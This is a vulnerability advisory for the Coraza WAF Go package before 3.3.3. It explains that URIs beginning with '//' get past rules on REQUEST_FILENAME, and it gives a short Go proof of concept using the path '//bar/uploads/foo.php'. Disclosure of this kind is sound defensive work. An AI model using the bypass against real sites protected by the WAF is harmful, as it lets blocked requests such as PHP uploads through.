Use of Incorrectly-Resolved Name or Reference Affecting github.com/corazawaf/coraza/v3/internal/corazawaf package, versions <3.3.3

Affected versions of this package are vulnerable to Use of Incorrectly-Resolved Name or Reference when parsing URIs in ProcessURI(). An attacker can bypass security rules by sending URIs that starting with //. which lead to an incorrect setting of the REQUEST_FILENAME.

package main

import (
    "fmt"
    "net/url"
    "os"

    "github.com/corazawaf/coraza/v3"
)

const testRule = `
SecDebugLogLevel 9
SecDebugLog /dev/stdout
SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"
`

func main() {
    var testURL = "//bar/uploads/foo.php"

    if os.Getenv("TEST_URL") != "" {
        testURL = os.Getenv("TEST_URL")
    }

    fmt.Printf("Testing URL: %s\n", testURL)

    config := coraza.NewWAFConfig().WithDirectives(testRule)

    waf, err := coraza.NewWAF(config)

    if err != nil {
        panic(err)
    }

    tx := waf.NewTransaction()

    tx.ProcessURI(testURL, "GET", "HTTP/1.1")

    in := tx.ProcessRequestHeaders()

    if in != nil {
        fmt.Printf("%+v\n", in)
    }
}

• GitHub Commit